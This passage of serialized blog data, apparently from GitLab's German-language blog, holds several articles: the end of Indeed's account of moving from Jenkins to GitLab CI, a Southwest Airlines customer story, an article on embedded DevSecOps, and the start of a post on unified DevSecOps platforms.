jedoch in der großen Streuung. Aufgrund der großen Anzahl an benutzerdefinierten Builds in Jenkins hätte ein automatisiertes Migrationstools für die meisten Teams nicht funktioniert. Die meisten Vorteile des neuen Systems kamen erst zum Tragen, als das alte System auf dem Nullstand war. Nur dann konnten wir die Hardware ausschalten und die CloudBees-Lizenzgebühr sparen.\n\n## Funktionsgleichheit und die Vorteile eines Neustarts\n\nObwohl wir bei Indeed viele verschiedene Technologien unterstützen, sind die drei am häufigsten verwendeten Sprachen Java, Python und JavaScript. Mit diesen Programmiersprachen werden Bibliotheken, Bereitstellungen (Webservices oder Anwendungen) und Cron-Jobs (ein Prozess, der in regelmäßigen Abständen abläuft, z. B. um einen Datensatz in unserem Data Lake aufzubauen) erstellt. Jedes davon bildete eine Matrix an Projekttypen (Java Library, Python Cronjob, JavaScript Webapp usw.), für die wir ein Grundgerüst in Jenkins hatten. Daher mussten wir für jeden dieser Projekttypen eine Golden-Path-Vorlage in GitLab CI erstellen.\n\nDie meisten Benutzer(innen) können diese empfohlenen Pfade ohne Änderungen nutzen, aber für jene, die eine Anpassung brauchen, ist der Golden Path trotzdem ein wichtiger Ausgangspunkt, der ihnen ermöglicht, nur das Nötige zu ändern und trotzdem in Zukunft von zentralisierten Vorlagenaktualisierungen zu profitieren.\n\nWir haben schnell gemerkt, dass die meisten Benutzer(innen), auch jene mit Anpassungen, gern den Golden Path nehmen bzw. ihn zumindest ausprobieren. Wenn sie ihre Anpassungen vermissen, können sie sie immer noch später hinzufügen. Das war ein überraschendes Ergebnis! Wir dachten, dass die Teams, die in signifikante Anpassungen investiert hatten, diese nur widerstrebend aufgeben würden, doch in der Mehrheit der Fälle waren sie den Teams nach der Umstellung egal. Dadurch konnten wir viele Projekte sehr schnell migrieren. Wir konnten einfach den Golden Path (eine kleine, etwa 6 Zeilen lange Datei mit Includes) in ihre Projekte einfügen und sie konnten sie von dort aus nutzen.\n\n## InnerSource als Retter in der Not\n\nDas CI-Plattformteam hat auch eine Richtlinie eingeführt, die besagt, dass externe Beiträge Vorrang haben. So werden alle im Unternehmen zur Teilnahme ermutigt. Dies wird manchmal als InnerSource bezeichnet. Wir haben Tests und Dokumentationen geschrieben, um externe Beiträge – Beiträge von außerhalb unseres unmittelbaren Teams – zu ermöglichen, damit Teams, die Anpassungen schreiben wollten, sie stattdessen in den Golden Path hinter einer Feature-Flag einfügen können. So konnten sie ihre Arbeit mit anderen teilen und sicherstellen, dass wir sie im weiteren Verlauf des Projekts nicht beschädigen (denn sie wurde Teil unserer Codebase, nicht ihrer eigenen). \n\nDies hatte auch den Vorteil, dass manche Teams, die auf eine benötigte Funktion warten mussten, selbst an dieser Funktion arbeiten konnten. Wir konnten sagen: „Wir planen, die Funktion in ein paar Wochen zu implementieren. Wenn ihr sie eher braucht, dürft ihr gerne daran mitarbeitet.“ Am Ende wurden viele Kernfunktionen, die für die Gleichschaltung nötig waren, auf diese Weise schneller und besser entwickelt, als es für unser Team alleine möglich gewesen wäre. Ohne dieses Modell wäre die Migration nicht erfolgreich gewesen.\n\n## Vor dem Zeitplan und unter dem Budget\n\nUnsere CloudBees-Lizenz lief am 1. April 2024 aus. Dies gab uns ein ambitioniertes Ziel für die vollständige Migration vor. Dies war besonders ehrgeizig, wenn man bedenkt, dass zu dieser Zeit 80 % aller Builds (60 % aller Projekte) noch Jenkins für ihre CI verwendeten. Dies bedeutete, dass über 2.000 [Jenkins-Dateien](https://www.jenkins.io/doc/book/pipeline/jenkinsfile/) noch umgeschrieben oder durch unsere Golden-Path-Vorlagen ersetzt werden mussten.\n\nUm dieses Ziel zu erreichen, stellten wir Dokumentationen und Beispiele zur Verfügung, implementierten Funktionen, wo dies möglich war, und halfen unseren Benutzer(inne)n, Funktionen beizutragen, wo sie konnten.\n\nWir haben regelmäßige Bürozeiten eingeführt, zu denen jeder kommen und Fragen stellen oder unsere Hilfe bei der Migration in Anspruch nehmen konnte. Außerdem haben wir Supportfragen zur Migration vor fast allem anderen priorisiert. Unsere Teammitglieder wurden zu GitLab-CI-Profis und teilten dieses Wissen innerhalb des Teams und im gesamten Unternehmen.\n\nEine automatische Migration war bei den meisten Projekten nicht möglich, aber wir fanden heraus, dass sie für eine kleine Untergruppe an Projekten funktionierte, in denen es wenig Anpassungen gab. Wir erstellten eine Sourcegraph-Stapeländerungskampagne, um Merge Requests für die Migration von hunderten Projekten einzureichen und forderten unsere Benutzer(innen) auf, diese MRs anzunehmen.\n\nWir zogen Erfolgsgeschichten unserer Benutzer(innen) heran und weit verbreitet. Als die Benutzer(innen) neue Funktionen zu unseren Golden Paths beisteuerten, warben wir damit, dass diese Funktionen bei der Migration auf GitLab CI „kostenlos enthalten“ sind. Einige Beispiele sind integrierte Sicherheits -und Compliance-Scans, Slack-Benachrichtigungen für CI-Builds und Integrationen in andere interne Systeme.\n\nWir haben auch eine Kampagne aggressiver „Scream Tests“ durchgeführt. Wir haben Jenkins-Jobs, die schon eine Weile nicht mehr ausgeführt wurden oder schon länger nicht mehr erfolgreich waren, automatisch deaktiviert und teilten den Benutzer(inne)n mit, dass sie diese Jobs wieder aktivieren konnten, wenn sie sie nochmals brauchen würden. So konnten wir auf einfache Weise feststellen, welche Jobs wirklich gebraucht wurden. Wir hatten Tausende von Jobs, die seit unserer letzten CI-Migration (von Jenkins zu Jenkins) nicht ein einziges Mal ausgeführt worden waren. Dies zeigte uns, dass wir fast alle davon sicher ignorieren konnten.\n\nIm Januar 2024 gaben wir unsere Benutzer(inne)n einen Anstoß, indem wir ankündigten, dass alle Jenkins-Controller schreibgeschützt werden (keine Builds), es sei denn, es wird ausdrücklich eine Ausnahme angefordert. Wir hatten viel bessere Informationen zum Eigentum von Controllern und sie entsprachen im Allgemeinen unserer Unternehmensstruktur, also war es sinnvoll, sich auf Controller und nicht auf Jobs zu konzentrieren. Die Liste der Controller war auch viel überschaubarer als die Liste der Jobs.\n\nUm eine Ausnahme zu erhalten, baten wir unsere Benutzer(innen), ihre Controller in einer Tabelle zu suchen und ihre Kontaktinformationen daneben zu schreiben. Dadurch erhielten wir eine sichere, aktuelle Liste der Stakeholder, die wir auf dem Endspurt nachverfolgen konnten. Außerdem konnten uns die Benutzer(innen) dadurch deutlich mitteilen, welche Jobs sie unbedingt brauchten. Zu Spitzenzeiten hatten wir etwa 400 Controller; im Januar hatten wir 220, aber nur 54 Controller benötigten Ausnahmen (einige von ihnen gehörten uns, um unsere Tests und Canary Tests durchzuführen).\n\n![Indeed – Anzahl der Jenkins-Controller](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099357/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099357392.png)\n\nWir hatten eine überschaubare Liste von etwa 50 Teams, die wir unter unseren Teammitgliedern aufteilten, und begannen, Kontakt aufzunehmen, um herauszufinden, wie jedes Team bei der Migration vorankam. Im Januar und Februar stellten wir fest, dass einige Teams planten, ihre Migration ohne unsere Hilfe vor dem 28. Februar abzuschließen. Andere planten wiederum, ihre Projekte vorher einzustellen, und eine sehr kleine Anzahl war sehr besorgt, dass sie es nicht schaffen würden.\n\nWir konnten mit dieser kleineren Gruppe von Teams zusammenarbeiten und ihnen einen maßgeschneiderten Service bieten. Wir erklärten ihnen, dass wir zwar nicht über das nötige Fachwissen verfügten, um die Migration für sie durchzuführen, dass wir aber mit Fachleuten aus ihrem Team zusammenarbeiten konnten. Für einige Projekte schrieben wir und sie überprüften; für andere schrieben sie und wir überprüften. Am Ende hat sich unsere ganze Arbeit ausgezahlt und wir haben Jenkins genau an dem Tag ausgeschaltet, den wir 8 Monate zuvor angekündigt hatten.\n\n## Die Ergebnisse: verbesserte CI-Effizienz und Benutzerzufriedenheit\n\nAuf dem Höhepunkt führte unsere Jenkins CI-Plattform über 14.000 Pipelines pro Tag aus und bediente Tausende Projekte. Heute führt unsere GitLab-CI-Plattform schon einmal über 40.000 Pipelines an einem einzigen Tag aus und regelmäßig über 25.000 pro Tag. Die inkrementellen Kosten für jeden Job jeder Pipeline sind ähnlich wie bei Jenkins, aber ohne den Aufwand für die Hardware zum Ausführen der Controller. Darüber hinaus dienten diese Controller als Single Points of Failure und Skalierungsbegrenzer, die uns zwangen, unsere Plattform künstlich in Segmente zu unterteilen. Ein direkter Vergleich ist immer schwierig, aber wir haben festgestellt, dass die Kosten für unsere CI-Hardware ohne diesem Overhead um 10–20 % niedriger sind. Außerdem ist der Supportaufwand für GitLab CI niedriger, da sich die Anwendung automatisch in der Cloud skaliert, über Verfügbarkeitszonen ausfallsicher ist und für die Vorlagensprache eine hervorragende Dokumentation öffentlich verfügbar ist.\n\nEin ebenso wichtiger Vorteil ist, dass wir jetzt über 70 % Annahmerate unserer Golden Paths erreicht haben. Das bedeutet, dass wir eine Verbesserung umsetzen konnten, von der über 5.000 Projekte bei Indeed sofort ohne weitere Maßnahmen profitieren können. So konnten wir einige Jobs zu kostengünstigeren ARM64-Instanzen verschieben, die Build-Images der Benutzer(innen) einfacher auf dem neuesten Stand halten und unsere Möglichkeiten zur Kosteneinsparung besser verwalten. Am wichtigsten ist aber, dass unsere Benutzer(innen) mit der neuen Plattform zufriedener sind.\n\n__Über den Autor:__\n*Carl Myers lebt in Sacramento, Kalifornien, und ist Manager des CI-Plattformteams bei Indeed. Carl hat seine fast zwei Jahrzehnte lange Berufslaufbahn damit verbracht, interne Tools und Entwicklerplattformen zu entwickeln, die Entwickler(innen) in großen und kleinen Unternehmen begeistern und befähigen.*\n\n**Danksagungen:**\n*Diese Migration wäre ohne die unermüdlichen Bemühungen von Tron Nedelea, Eddie Huang, Vivek Nynaru, Carlos Gonzalez, Lane Van Elderen und dem Rest des CI-Plattformteams nicht möglich gewesen. Unser Teams ist besonders dankbar für die Führung von Deepak Bitragunta. Unser Dank geht auch an Irina Tyree für ihre Unterstützung bei diesem langen Projekt, für die Bereitstellung von Ressourcen und die unternehmensweite Abstimmung. Abschließend möchten wir uns bei allen bei Indeed bedanken, die Code, Feedback und Fehlerberichte beigetragen sowie bei der Migration von Projekten geholfen haben.*\n\n**Dies ist eine überarbeitete Version des Artikels [Wie Indeed seine CI-Plattform durch Gitlab CI ersetzt hat](https://engineering.indeedblog.com/blog/2024/08/indeed-gitlab-ci-migration/), der ursprünglich auf dem Indeed-Engineering-Blog veröffentlicht wurde.**",[898,109,912,796],"user stories","2024-10-31",{"slug":915,"featured":91,"template":800},"how-indeed-transformed-its-ci-platform-with-gitlab",{"content":917,"config":929},{"title":918,"description":919,"authors":920,"heroImage":922,"date":923,"body":924,"category":707,"tags":925,"updatedDate":928},"Southwest möchte mit seinen Entwickler(inne)n abheben","Erfahre, wie die DevOps-Teams der Fluglinie dank GitLab Probleme viel einfacher erkennen und beheben können.",[921],"Sharon Gaudin","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665272/Blog/Hero%20Images/AdobeStock_380312133.jpg","2024-01-30","Southwest Airlines Co. ist bestrebt, die Arbeit seiner Entwickler(innen) zu leichter zu machen.\n\nDie IT-Führungskräfte der weltweit größten Billigfluglinie arbeiten daran, zeitaufwändige und sich wiederholende Aufgaben aus den Workflows der Entwickler(innen) zu eliminieren, damit diese mehr Zeit haben, sich auf größere Projekte zu konzentrieren.\n\n„Das schaffen wir, indem wir Hürden für sie aus dem Weg räumen“, erklärt Jim Dayton, Vice President und CISO bei Southwest Airlines. „Ich bin fest davon überzeugt, dass die Leute in der Softwareentwicklung arbeiten wollen, weil sie die Kreativität lieben. Sie lieben es, Probleme zu lösen. Dabei dürfen wir ihnen nicht im Weg stehen und müssen die Dinge, die sie behindern, aus dem Weg räumen.“\n\nDas möchte Dayton unter anderem mit der Plattform von GitLab erreichen.\n\nDayton hat bei einem Event der [DevSecOps World Tour von GitLab](https://about.gitlab.com/events/devsecops-world-tour/) in Dallas auf der Bühne in einem Interview über die Bestrebungen von Southwest gesprochen, sich um seine Entwickler(innen) zu kümmern und ihre Arbeit zu würdigen. Ein Teil seines Vortrags war ein Gespräch mit Reshmi Krishna, Director für Enterprise Solutions Architecture bei GitLab, in dem er mit ihm darüber sprach, welche Vorteile künstliche Intelligenz seinen Teams bieten könnte.\n\nDer Southwest-Manager sprach darüber, in seinem Unternehmen vermehrt auf einen DevOps-Ansatz bei der Anwendungsentwicklung zu setzen und fügte hinzu, dass den Entwickler(inne)n mehr Self-Service-Möglichkeiten und Wissensmanagement-Prozesse geboten werden sollten. „Wir wollen, dass Entwickler(innen) schnell ein Problem nachschlagen und eine Lösung finden können. Außerdem sollte Kontextwechsel reduziert werden“, sagte er. „Wir müssen sehen können, was wir von ihnen verlangen und was sie daran hindert, produktiv zu sein.“\n\nDayton merkte an, dass Southwest, das seit 2019 mit GitLab zusammenarbeitet, sich darauf konzentriert, seine Software-Entwicklungsprozesse konsistenter zu machen. Zum Teil bedeutet das, Code in ein gemeinsames GitLab-Repository zu verschieben. Wenn Teams wissen, wo sich ihr Code befindet, können sie Metriken einfacher bewerten und sich darauf konzentrieren, Code wiederzuverwenden und dadurch effizienter zu werden.\n\n„Wir sind auch dabei, unsere Enterprise-Pipelines fertigzustellen, und wir sind bereit, mit der Migration der Teams zu beginnen“, sagte Dayton. „Wir arbeiten intensiv mit vielen verschiedenen Anwendungsentwicklungsteams zusammen, um zu verstehen, was sie in den Pipelines benötigen, die wir aufbauen, und wir bereiten uns darauf vor, Teams auf sie zu migrieren. Ich denke, wir werden bis Ende des Jahres ziemlich nah dran sein.“\n\n### Das Versprechen der KI\n\nEine der Möglichkeiten, wie sich Entwickler(innen) auf größere und innovativere Aufgaben konzentrieren können, ist der Einsatz künstlicher Intelligenz, so Dayton.\n\nGenerative KI, ob in Form von Erklärungen zu Sicherheitslücken, Codevorschlägen oder Code-Vervollständigung, kann Arbeitsabläufe im gesamten Software-Entwicklungsprozess signifikant beeinflussen. Der Einsatz von KI-Tools, die direkt in eine Plattform integriert sind, kann die Sicherheit erhöhen und den Zeitaufwand für Code Reviews und Anwendungsentwicklung verringern.\n\nDayton freut sich bereits darauf, die Entwicklung und Bereitstellung mithilfe von KI-Funktionen zu beschleunigen und zu erleichtern.\n\n„Wir wollen alltägliche Aufgaben und die Bürokratie für unsere Entwickler(innen) so weit wie möglich aus dem Weg räumen“, erklärt Dayton und fügt hinzu, dass es rund um das Thema KI zwar einen riesigen Hype, aber auch großes Potenzial gebe. „Mit der KI könnten wir das schaffen. Ein gutes Beispiel ist meiner Meinung nach, wenn die KI eine Lösung für eine Sicherheitslücke bietet, die gerade entdeckt wurde, oder wenn sie uns sagen kann, was ein Teil des Codes tut. Womit wird er integriert? Auf welche Daten wird zugegriffen und warum? Sag mir zum Beispiel im Klartext, dass dieser bestimmte Code für 20 % der Vorfälle in dieser Anwendung im letzten Jahr verantwortlich war. Hier kann KI meiner Meinung nach helfen.“Dayton erläutert auch, dass er nicht glaubt, dass KI die Entwickler(innen) ersetzen wird. Stattdessen sollte sie ihnen die Arbeit erleichtern. KI kann in der Welt nach COVID außerdem dazu beitragen, die remote arbeitenden Entwickler(innen) zu verbinden.\n\n„Eines der coolen Dinge, die in der Roadmap [von GitLab] enthalten sind, sind vorgeschlagene Prüfer(innen)“, sagte er. „Das hilft bei Code Reviews, bei denen man früher einfach quer durch den Raum oder über die nächste Trennwand rief: ‚Hey, kann sich jemand meinen Code ansehen?‘ Das ist jetzt nicht mehr so einfach. KI kann Personen vorschlagen, die schon einmal in diesem Code gearbeitet haben, die Vorfälle in diesem Code gelöst haben und so etwas machen. Wie wichtig wird das für den Review-Prozess sein? Ich denke, je mehr Automatisierung wir einsetzen können, desto weniger manuelle Schritte oder Wartezeiten wird es geben.“\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/UnUfp7pKnEQ?si=qcX2Qm3zpgQOV4xy\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n*Southwest Airlines ist ein rund 24 Milliarden Dollar schweres Unternehmen mit Sitz in Dallas, Texas. Die Fluglinie hat 72 000 Mitarbeitende und fliegt mit 4 000 Flügen pro Trag 120 verschiedene Ziele an. Mit Southwest fliegen mehr Inlandspassagiere als mit jeder anderen Fluglinie.\nLies weitere GitLab-Kundenstorys auf unserer [Kundenseite](https://about.gitlab.com/de-de/customers/).*\n",[926,927,841,898],"DevOps","DevOps platform","2024-12-11",{"slug":930,"featured":6,"template":800},"southwest-looking-to-help-developers-take-flight",{"category":715,"slug":719,"posts":932},[933,945,958],{"content":934,"config":943},{"heroImage":935,"body":936,"authors":937,"updatedDate":7,"date":939,"title":940,"tags":941,"description":942,"category":719},"https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,w_1640,h_1000,c_lfill/v1749659978/Blog/Hero%20Images/automation.png","Für Embedded-Systeme-Teams schien DevSecOps traditionell eher ein Ansatz für SaaS-Anwendungen als für die Firmware-Entwicklung zu sein. Aber das ändert sich. Software ist jetzt ein primärer Differenzierungsfaktor bei Hardwareprodukten. Neue Erwartungen der Marktteilnehmer erfordern moderne Entwicklungspraktiken. Als Reaktion darauf verfolgen Unternehmen \"Embedded DevSecOps\".\n\nWas ist Embedded DevSecOps? Die Anwendung kollaborativer Engineering-Praktiken, integrierter Toolchains und Automatisierung für das Erstellen, Testen und Sichern von Software auf die Entwicklung eingebetteter Systeme. Embedded DevSecOps umfasst notwendige Anpassungen für die Hardware-Integration.\n\n## Drei Marktkräfte, welche die Embedded-Entwicklung revolutionieren\n\nDrei mächtige Marktkräfte konvergieren und zwingen Embedded-Teams dazu, ihre Entwicklungspraktiken zu modernisieren.\n\n### 1. Software wird zum primären Differenzierungsfaktor\n\nProdukte, die einst hauptsächlich durch ihre Hardware definiert wurden, unterscheiden sich jetzt durch ihre Softwarefähigkeiten. Der Markt für softwaredefinierte Fahrzeuge (SDV) erzählt in dieser Hinsicht eine überzeugende Geschichte. Er wird voraussichtlich von 213,5 Milliarden US-Dollar im Jahr 2024 auf [1,24 Billionen US-Dollar (Artikel auf Englisch)](https://www.marketsandmarkets.com/Market-Reports/software-defined-vehicles-market-187205966.html) bis 2030 wachsen – eine massive jährliche Wachstumsrate von 34%.\n\nDer Softwareanteil in diesen Produkten wächst erheblich. Bis Ende 2025 wird erwartet, dass das durchschnittliche Fahrzeug [650 Millionen Codezeilen (Artikel auf Englisch)](https://www.statista.com/statistics/1370978/automotive-software-average-lines-of-codes-per-vehicle-globally/) enthält. Traditionelle Embedded-Entwicklungsansätze können diese Softwarekomplexität nicht bewältigen.\n\n### 2. Hardware-Virtualisierung ermöglicht neue Arbeitsweisen\n\nHardware-Virtualisierung ist ein wichtiger technischer Enabler für Embedded DevSecOps. Virtuelle elektronische Steuergeräte (vECUs), Cloud-basierte ARM-CPUs und anspruchsvolle Simulationsumgebungen werden immer verbreiteter. Virtuelle Hardware ermöglicht Tests, die einst physische Hardware erforderten.\n\nDiese Virtualisierungstechnologien bieten eine Grundlage für Continuous Integration ([CI](https://about.gitlab.com/topics/ci-cd/)). Aber ihr Wert wird nur vollständig realisiert, wenn sie in einen automatisierten Workflow integriert sind. In Kombination mit kollaborativen Entwicklungspraktiken und automatisierten Pipelines helfen virtuelle Tests den Teams, Probleme viel früher zu erkennen, wenn Korrekturen noch viel kostengünstiger sind. Ohne Embedded-DevSecOps-Praktiken und Tools zur Orchestrierung dieser virtuellen Ressourcen können Unternehmen den Virtualisierungstrend nicht nutzen.\n\n### 3. Der Wettbewerbsdruck steigt exponentiell\n\nDrei miteinander verbundene Kräfte gestalten die Wettbewerbslandschaft für die Embedded-Entwicklung neu:\n\n* Der Kampf um die größten Talente hat sich entscheidend verschoben. Wie ein Embedded-Systems-Leader bei einem GitLab-Kunden erklärte: \"Kein Embedded-Ingenieur, der heute vom College kommt, kennt Legacy-Tools wie Perforce. Sie kennen Git. Diese jungen Ingenieure arbeiten sechs Monate in einem Unternehmen mit Legacy-Tools und kündigen dann.\" Unternehmen, die veraltete Tools verwenden, könnten ihre technische Zukunft verlieren.\n* Dieser Vorsprung durch die besten Talente führt zu Wettbewerbsvorteilen. Technologieorientierte Unternehmen, die Top-Ingenieure mit modernen Praktiken anziehen, erzielen bemerkenswerte Ergebnisse. Beispielsweise führte [SpaceX (Artikel auf Englisch)](https://spacenews.com/spacex-launch-surge-helps-set-new-global-launch-record-in-2024/) im Jahr 2024 mehr Orbitalstarts durch als der Rest der Welt zusammen. Technologieorientierte Unternehmen zeichnen sich durch Softwareentwicklung aus und haben eine moderne Entwicklungskultur. Dies schafft unter anderem Effizienzen, die Legacy-Unternehmen nur schwer erreichen können.\n* Die steigenden Kosten der Embedded-Entwicklung – getrieben durch lange Feedback-Zyklen – schaffen einen dringenden Bedarf an Embedded DevSecOps. Wenn Entwickler(innen) wochenlang warten müssen, um Code auf Hardware-Testbänken zu testen, bleibt die Produktivität von Natur aus niedrig. Ingenieur(innen) verlieren den Kontext und müssen den Kontext wechseln, wenn die Ergebnisse eintreffen. Das Problem verschlimmert sich, wenn Fehler ins Spiel kommen. Bugs werden teurer zu beheben, je später sie entdeckt werden. Lange Feedback-Zyklen vergrößern dieses Problem in eingebetteten Systemen.\n\nUnternehmen setzen Embedded DevSecOps ein, um diese Herausforderungen zu bewältigen.\n\n## So setzen führende Unternehmen Embedded DevSecOps um\n\nBasierend auf diesen Marktkräften implementieren zukunftsorientierte Embedded-Systems-Leader Embedded DevSecOps auf folgende Weise.\n\n### Hardware-Tests automatisieren und beschleunigen\n\nHardware-Test-Engpässe stellen eine der bedeutendsten Einschränkungen in der traditionellen Embedded-Entwicklung dar. Diese Verzögerungen schaffen die zuvor beschriebene ungünstige Wirtschaftlichkeit – wenn Entwickler(innen) wochenlang auf Hardware-Zugriff warten, steigen die Fehlerkosten spiralförmig an.\n\nDie Bewältigung dieser Herausforderung erfordert einen facettenreichen Ansatz, einschließlich:\n\n* Automatisierung der Orchestrierung teurer gemeinsam genutzter Hardware-Testbänke unter Embedded-Entwickler(inne)n\n* Integration sowohl von SIL (Software-in-the-Loop) als auch HIL (Hardware-in-the-Loop) Tests in automatisierte CI-Pipelines\n* Standardisierung von Builds mit versionskontrollierten Umgebungen\n\nEmbedded-Entwickler(innen) können dies mit GitLabs [On-Premises Device Cloud (Seite auf Englisch)](https://gitlab.com/gitlab-accelerates-embedded/comp/device-cloud) erreichen, einer CI/CD-Komponente. Durch die Automatisierung der Orchestrierung von Firmware-Tests auf virtueller und realer Hardware sind Teams besser positioniert, um Feedback-Zyklen von Wochen auf Stunden zu reduzieren. Sie können auch mehr Bugs früh im Software-Entwicklungslebenszyklus erkennen.\n\n### Automatisierung von Compliance und Security Governance\n\nEingebettete Systeme unterliegen strengen regulatorischen Anforderungen. Manuelle Compliance-Prozesse sind nicht nachhaltig.\n\nFührende Unternehmen transformieren die Art und Weise, wie sie diese Anforderungen erfüllen, durch:\n\n* Ersetzen manueller Workflows durch automatisierte [Compliance-Frameworks](https://about.gitlab.com/blog/introducing-custom-compliance-frameworks-in-gitlab/)\n* Integration spezialisierter Funktionssicherheits-, Sicherheits- und Code-Qualitäts-Tools in automatisierte Continuous-Integration-Pipelines\n* Automatisierung von Genehmigungsworkflows, Durchsetzung von Code-Reviews und Pflege von Audit-Trails\n* Konfiguration von Compliance-Frameworks für spezifische Standards wie ISO 26262 oder DO-178C\n\nDieser Ansatz ermöglicht eine höhere Compliance-Reife ohne zusätzliches Personal – was einst eine Last war, wird zu einem Wettbewerbsvorteil. Ein führender Hersteller von Elektrofahrzeugen (EV) führt mit GitLab täglich 120.000 CI/CD-Jobs aus, von denen viele Compliance-Prüfungen beinhalten. Und sie können Fehlerbehebungen innerhalb einer Stunde nach der Entdeckung beheben und in Fahrzeuge bereitstellen. Dieses Maß an Skalierung und Geschwindigkeit wäre ohne automatisierte Compliance-Workflows extrem schwierig.\n\n### Compliance-Prozesse in CI/CD-Pipelines integrieren\n\nHistorisch gesehen haben Embedded-Entwickler(innen) aus berechtigten geschäftlichen und technischen Gründen weitgehend allein an ihren Schreibtischen gearbeitet. Die Zusammenarbeit war begrenzt. Innovative Unternehmen durchbrechen diese Barrieren, indem sie gemeinsame Code-Sichtbarkeit durch integrierte Source-Control- und CI/CD-Workflows ermöglichen. Diese modernen Praktiken ziehen Ingenieur(innen) an und halten sie, während sie Innovationen freischalten, die in isolierten Workflows verborgen bleiben würden.\n\nWie ein Director of DevOps bei einem technologieorientierten Automobilhersteller (ein GitLab-Kunde) erklärt: \"Es ist wirklich entscheidend für uns, eine einzige Übersicht zu haben, auf die wir schauen und die Status sehen können. Die Entwickler(innen) sind sich beim Einbringen eines Merge Requests des Status eines bestimmten Workflows bewusst, um sich so schnell wie möglich zu bewegen.\" Diese Transparenz beschleunigt die Innovation und ermöglicht es Automobilherstellern, schnell auf Softwarefunktionen zu iterieren, die ihre Fahrzeuge in einem zunehmend wettbewerbsintensiven Markt differenzieren.\n\n## Silos aufbrechen durch kollaborative Entwicklung\n\nEmbedded-Systems-Leader haben ein klares Zeitfenster, um durch die DevSecOps-Einführung einen Wettbewerbsvorteil zu erlangen. Aber das Fenster wird nicht für immer offen bleiben. Software wird weiterhin zum primären Differenzierungsfaktor in eingebetteten Produkten, und die Kluft zwischen Leadern und Nachzüglern wird nur größer werden.\n\nUnternehmen, die DevSecOps erfolgreich einführen, werden Kosten senken, die Markteinführungszeit beschleunigen und Innovationen freischalten, die sie auf dem Markt differenzieren. Die Embedded-Systems-Leader von morgen sind diejenigen, die heute DevSecOps annehmen.\n\n> Während dieser Artikel untersuchte, warum jetzt die kritische Zeit für Embedded-Teams ist, DevSecOps einzuführen, fragst du dich vielleicht nach den praktischen Schritten für den Einstieg. Erfahre, wie du diese Konzepte mit unserem Leitfaden in die Praxis umsetzen kannst: [4 Wege zur Beschleunigung der Embedded-Entwicklung mit GitLab (Artikel auf Englisch)](https://about.gitlab.com/blog/4-ways-to-accelerate-embedded-development-with-gitlab/).",[938],"Matt DeLaney","2025-07-03","Warum jetzt die Zeit für Embedded DevSecOps ist",[109],"Erfahre, wie Embedded-Entwicklungsteams lange Feedback-Zyklen, manuelle Compliance und isolierte Entwicklung mit DevSecOps bewältigen.",{"featured":6,"template":800,"slug":944},"why-now-is-the-time-for-embedded-devsecops",{"content":946,"config":956},{"heroImage":947,"body":948,"authors":949,"updatedDate":951,"date":952,"title":953,"tags":954,"description":955,"category":719},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097063/Blog/Hero%20Images/Blog/Hero%20Images/securitylifecycle-light_securitylifecycle-light.png_1750097063583.png","In der modernen Softwareentwicklung von heute migrieren viele Unternehmen in die Cloud und führen DevSecOps-Prozesse ein. Durch die Vielzahl von Tools und Legacy-Systemen, die nicht für die moderne Entwicklung ausgelegt sind, stellt diese Umstellung jedoch eine große Herausforderung dar. \n\nUm diese Systeme an DevSecOps anzupassen, müssen Unternehmen mehrere Tools für Aufgabenmanagement, CI/CD, Sicherheit, Überwachung und vieles mehr miteinander verknüpfen. Das Ergebnis? Komplexe Betriebsabläufe, hohe Wartungskosten und eine erschwerte Zusammenarbeit zwischen Entwicklungs- und Betriebsteams. Darüber hinaus sind Entwickler(innen) frustriert, da sie ständig zwischen verschiedenen Tools wechseln müssen, um einen einzigen Flow – von der Planung bis zur Produktion – abzuschließen.\n\n![Die Komplexität und die Betriebskosten der Integration mehrerer Tools in einen DevSecOps-Prozess](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097077/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097077287.jpg)\n\n\u003Ccenter>\u003Ci>Wie komplex es sein kann, mehrere Tools in einen DevSecOps-Prozess zu integrieren\u003C/i>\u003C/center> \n\n\u003Cbr>\u003C/br>\n\nDie gute Nachricht ist, es gibt eine Lösung: Eine umfassende DevSecOps-Plattform, die einen einheitlichen Ansatz für die Softwareentwicklung bietet.\n\nDiese Plattformen sind für Unternehmen konzipiert, die in cloudbasierten und DevSecOps-Umgebungen arbeiten. Sie konsolidieren alle Phasen der Softwareentwicklung – von der Codeverwaltung, über CI/CD-Prozesse, Aufgabenmanagement und Sicherheit bis hin zur KI-gestützten Automatisierung – auf einer einzigen Plattform. Die Zentralisierung aller Softwareentwicklungs-Workflows in einer einheitlichen Oberfläche ermöglicht es den Entwicklungs- und Betriebsteams, effizienter zu arbeiten, die Kommunikation zu vereinfachen und die Komplexität der Vorgänge und Störungen zu minimieren. \n\nDarüber hinaus verbessert sich die Entwicklererfahrung erheblich – sie arbeiten viel lieber mit einem Produkt, das speziell für moderne Entwicklungsanforderungen konzipiert wurde.\n\nIn den folgenden Abschnitten erfahren wir, wie GitLab Teams bei der Bewältigung gängiger Herausforderungen hilft – sei es bei der Verwaltung von Projekten und Aufgaben, der Gewährleistung von Sicherheit und Compliance oder der Einführung von KI-basierten Entwicklungstools – und das alles auf einer einzigen, einheitlichen Plattform.\n\n## Integriertes Agile-Projektmanagement\n\n[GitLab](https://about.gitlab.com/de-de/) bietet eine ganzheitliche Lösung, bei der das Projekt- und Aufgabenmanagement über alle Phasen des Softwareentwicklungszyklus hinweg vollständig integriert ist, wie z. B. CI/CD, wodurch der Entwicklungsfortschritt in Echtzeit verfolgt werden kann. Tickets und Epics sind direkt mit den Automatisierungsprozessen verknüpft und ermöglichen einen nahtlosen Flow von der Planung bis zur Bereitstellung in der Produktion. Dieser Ansatz erhöht die Transparenz zwischen den Teams, verringert Verzögerungen und stellt sicher, dass alle Beteiligten einen klaren Überblick über den Entwicklungsstatus in Echtzeit haben.\n\n![Tickets und Epics sind direkt mit Automatisierungsprozessen verknüpft und ermöglichen einen nahtlosen Übergang von der Planung bis zur Bereitstellung in der 